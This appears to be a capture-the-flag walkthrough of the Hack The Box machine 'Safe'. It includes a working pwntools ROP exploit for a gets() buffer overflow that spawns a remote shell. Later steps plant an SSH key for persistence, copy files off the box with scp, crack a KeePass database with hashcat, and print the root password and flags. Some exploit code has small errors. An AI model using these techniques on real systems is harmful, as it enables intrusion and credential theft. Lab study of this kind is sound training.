Linux Boxes

safe (linux BoF)

  1. nmapAutomator
  2. http
    1. port 1337
  3. initial foothold
    1. ghidra
    2. buffer overflow
      1. checksec
      2. step 1: crash the application
      3. step 2: find the offset
        1. overwriting $rsp register to test calling main function twice
      4. step 3: hijack system call
      5. step 4: collect all the necessary parameters for a ROP chain exploit
        1. disass main
        2. disass test
      6. step 5 write exploit.py
        1. tweak for safe box
        2. run
      7. obj dump system & test
  4. privilege escalation
    1. dropping ssh key
    2. exfiltrate keepass
    3. crack keepass
      1. organize picture files hashes
      2. hashcat
    4. kpcli
    5. sudo into root
  5. user/root
  6. lessons learned

safe (linux BoF)

images/1456-1.png
images/1456-2.png


nmapAutomator

images/1457-1.png

images/1457-2.png

http

images/1458-1.png

images/1458-2.png

images/1458-3.png

images/1458-4.png

images/1458-5.png

images/1458-6.png


port 1337

images/1459-1.png
This application screams of being vulnerable to a buffer overflow

nc 10.10.10.147 1337
images/1459-2.png

initial foothold

we're going to use a combination of ghidra Software Reverse Engineering Framework and GDB Enhanced Features (GEF) to analyze myapp for vulnerabilities

you can grab
ghidra releases from the official NSA github page here

to install
GEF, first we'll need cmake since it is a dependency
sudo apt-get install cmake

then google
gef github here
and follow the
instant setup section of the README file
images/1469-1.png

wget -O ~/.gdbinit-gef.py -q http://gef.blah.cat/py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit

images/1469-2.png


to fire up ghidra, navigate to the directory you cloned it in and execute ./ghidrarun
images/1469-3.png

images/1469-4.png

make a new project (and a new directory ghidra in your safe directory to hold it)
images/1469-5.png

next, import the myapp file
images/1469-6.pngimages/1469-7.png

click OK and make not ghidra knows the file is an ELF file
images/1469-8.png
OK through the import summary
images/1469-9.png
images/1469-10.png


finally click the dragon icon to load it into ghidra

you may need to go navigate to file->open->myapp as well after ghidra runs if you see no programs in ghidra initially
images/1469-11.png

finally, click the select all bujtton on the analysis options page and you're good to go!
images/1469-12.png








ghidra

images/1462-1.png

first, we're going to analyze myapp's main function, on the left pane of ghidra there is a symbol tree listing, expand the Functions folder and there should be a main function highlighted in pink
Note: pink highlighted functions are local functions and blue highlighted functions are imported from libraries ike lib.c
images/1462-2.pngimages/1462-3.png

images/1462-4.png

A quick rundown of what ./myapp does
1. takes an input of 112 bytes
images/1462-5.png and saves it into the variable local_78 images/1462-6.png
2. runs a system call on
/usr/bin/uptime which is the reason we see the images/1462-7.png when we run myappimages/1462-8.png
3. myapp then reads characters from the standard input using the gets() function and stores them as a C string until a newline character or the end-of-file is reached. The gets() function does not limit the amount of characters the local_78 variable has within it so this is undoubtably vulnerable to a Buffer Overflow Attack!
4. lastly. main then writes a string to stdout using the
puts() function which is why we see what we type echo back to us when we call myapp
images/1462-9.png

buffer overflow

images/1460-1.png

checksec

images/1461-1.png

images/1461-2.png

step 1: crash the application

SInce we know ./myapp's local_76 variable is suppose to take images/1470-1.png bytes, lets send the function a few more bytes and crash it, 200 bytes for good measure
images/1470-2.png

images/1470-3.png
images/1470-4.png

gdb tells us we crash at the return functionimages/1470-5.png, which points to the $rsp register, which we see has been completely overwritten with A's
images/1470-6.png

take note of the $RIP register as well, here's rana khalil's rundown of our issue at the moment:
images/1470-7.png
images/1470-8.png

step 2: find the offset

next step is to find where exactly where the $rsp lies in memory, which will bring us closer to overwriting the $rip

to do this we'll create a pattern that will pinpoint the $rsp's location

pattern create 200
images/519-1.png

now rerun myapp with gdb and crash the program again
images/519-2.png
images/519-3.png

take note of the string that overwrites the $rsp register, copy and paste that string into
images/519-4.png

pattern search paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava
images/519-5.png

now lets test to see if the offset is correct. we'll generate 120 A's and follow with 8 B's and 8 C's and see what kind of output we get
images/519-6.png

copy and pasting this string into myapp shows us our offset is correct!
images/519-7.png
now the goal here is that we can contrinue through myapp by placing code where the 8 B's lie





overwriting $rsp register to test calling main function twice

To demonstrate what that means, lets being building our exploit now that we know where the $rsp register is located
first lets find out where in
myapp the main function is located in memory, to this we'll use ghidra
images/521-1.png
main starts at the memory address 040115f images/521-2.png, take note that it is 8 bytes long


now lets begin writing our pwn tools
exploit in py, read my commented notes for details on the exploit
images/521-3.png
images/521-4.png

running
will call our main function twice, use ‘c’ to cycle through them both to verify our exploit functions correctly
images/521-5.png

images/521-6.png
type c to continue through our breakpoint

images/521-7.png
and notice although main is called twice here, we've successfully overwritten the $rsp register to call main a second time, verifying our exploit is working!

What we just did here is called a ROP Chain Exploit!But the question that still stands is how do we load our /bin/bash string into the system call?

step 3: hijack system call

Now that we know that we can overwrite ./myapp's $rsp register to call a function of our choosing, we want to hijack main's system call because that will run whatever function we want (/bin/bash)

images/520-1.png

Using Ghidra, look at the main function memory addresses and note the system call's location at 0040116e
images/520-2.png

lets set a breakpoint at this memory address and run our exploit
images/520-3.png
set a breakpoint to the memory address of main's system call with
b *0x40116e
images/520-4.png
images/520-5.png

what myapp is doing is first loading a variable into images/520-6.png with images/520-7.png which stands for load effective address
the system call is located at images/520-8.png


images/520-9.png
since system is only taking 1 argument, only 1 argument gets loaded so if we do
x/s $rdi we see theres no memory address saved to our variable
images/520-10.png

step through once with si
images/520-11.png
right here is what we're loading into register $rdi
images/520-12.png

step through the program again with si
images/520-13.png

images/520-14.png
images/520-15.png
we see /usr/bin/uptime is loaded into the $rdi register

All we have to do to exploit this now is to find out to put our string (/bin/bash) into $rdi
This is where the Test method comes in
images/520-16.png
images/520-17.png
first 2 things set up the stack for being in a function
we push the base pointer to the stack and then we copy the rsp stack pointer into the base pointer

code begins here images/520-18.png
we take the stack pointer and putting it into rdi and then jumping into whatever is in R13

gef has a built in tool call ropper that will allow us to take a closer look at what images/520-19.png does
ropper --search “pop r13”
images/520-20.png
we see it is located in memory at images/520-21.png and pops 3 arguments off the stack onto the stack pointer images/520-22.png so although we only need r13 to load our /bin/bash system call, we can load null bytes into r14 and r15 and get everything we need out of the test function

images/520-23.png
images/520-24.png
images/520-25.png
images/520-26.png

0x0000000000401206: pop r13; pop r14; pop r15; ret;

step 4: collect all the necessary parameters for a ROP chain exploit

images/1552-1.png

images/1552-2.png

disass main

we see from main that we system gets called, printf gets called, get gets called and put gets called

images/1465-1.png

disass test

images/1466-1.png




step 5 write exploit.py

from pwn import *# initial configuration
p = process("./myapp")
context(os="linux", arch="amd64") # parameters
junk = "A" * 112.encode() # offset - 8.
cmd = "/bin/sh\x00".encode() # argument that will be passed to RBP + null byte
pop_r13 = p64(0x401206) # pop r13
random = p64(0x000000) # random (null value) that will be put into r14 and r15
mov_rsp_to_rdi = p64(0x401152) # mv rdi, rsp (test function memory location)
system = p64(0x401040) # buffer

buf = junk + cmd #get to the RBP and pass the /bin/sh string
buf += pop_r13 # pop r13
buf += system # set r13 to system call
buf += random + random # pop r14, pop r15
buf += mov_rsp_to_rdi

p.recvline()
p.sendline(buf)
p.interactive()


images/1463-1.png

tweak for safe box

p = remote("10.10.10.147", 1337)
images/1467-1.png

run

images/1468-1.png

images/1468-2.png

obj dump system & test

images/1479-1.png

privilege escalation

Our shell at the moment has no way to import a proper tty at the moment so lets drop a key so we can ssh in
images/1472-1.png

dropping ssh key

Looking into user's /home directory
images/522-1.png


to generate an ssh keypair
:
ssh-keygen -f user
images/522-2.png
chmod 600
images/522-3.png
copy the contents of our public key we generated
images/522-4.png

and echo it into .ssh/authorized_keys file on the box
images/522-5.png
echo <pubkey> >> authorized_keys
images/522-6.png

and now we can ssh in!
ssh -i <priv-key> user@10.10.10.147
images/522-7.png

exfiltrate keepass

We find a KeePass database. Let’s copy everything into our attack machine. The easiest way to do this is through SCP since SSH is open.

images/1473-1.png

lets make a directory for the files to stay organized
images/1473-2.png
scp -i ../keys/user user@10.10.10.147:* .
where
is to download all the contents of /home/user
.
is to save all the contents to our current directory
images/1473-3.png


we see a bunch of pictures here, lets use
nautilus . to view them in a nice folder
images/1473-4.png
images/1473-5.png

we see that these are standard jpegs when using
exiftool and binwalk to anayze them so no need to screenshot them in the writeup, however they hold a hidden key file for our keepass (kdbx file since they sometimes require a key to unlock them)

crack keepass

first we need to use john to crack crack the keepass database password to decompress it, john has a module for keepass that we can locate with
locate *2john that will list it for us
images/1475-1.png



organize picture files hashes

lets write a bash loop that will iterate through all of our picture files to find the key within them

lets start by writing a simple bash loop to list all of our pictures

for i in $(ls *.JPG); do echo $i; done;
images/1478-1.png


now lets run keepass2john on all of the picture files
for i in $(ls *.JPG); do keepass2john -k $i MyPasswords.kdbx; done
where -k is the key
images/1478-2.png

we see the hashes perfectly, but we don't see which hash comes from which picture file, lets use sed to replace the MyPasswords with the name of the picture file the loop is currently using
for i in (ls *.JPG); do keepass2john -k $i MyPasswords.kdbx | sed “s/MyPasswords/$i/g”; done
images/1478-3.png

now we can pass each hash into hashcat to crack the kdb password

hashcat

images/523-1.png


find what hashcat module we need for KeePass
images/523-2.png
okay so we know the hashcat module for keepass is 13400

hashcat is only capable of running one hash at a time so we'll have to load each individual hash into its own textfile, eventually though, we get a hit
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt --user
images/523-3.png
images/523-4.png

we find our password is bullshit

kpcli

now that we have our password (bullshit) and our picture file key IMG_0547.JPG lets go into our keypass file with the help of the img file

kpcli --kdb MyPasswords.kdb --key IMG_0547.JPG
images/1476-1.png

navigate into MyPasswords
images/1476-2.png

looking at the MyPasswords list, the very bottom shows root's password! lets view it with...
images/1476-3.png
show 0

images/1476-4.png

we see the password is hidden, to reveal it use
show 0 -f
images/1476-5.png

our root password is u3v2249dl9ptv465cogl3cnpo3fyhk

sudo into root

ssh doesn't allow us to log in via ssh so we switch user from our ‘user' session to escalate to root!

u3v2249dl9ptv465cogl3cnpo3fyhk
images/1477-1.png

user/root

images/1471-1.png
7a29ee9b0fa17ac013d4bf01fd127690

images/1471-2.png
d7af235eb1db9fa059d2b99a6d1d5453

lessons learned

Check out Rana Khalil's OSCP writeups and prep at https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/

images/1981-1.png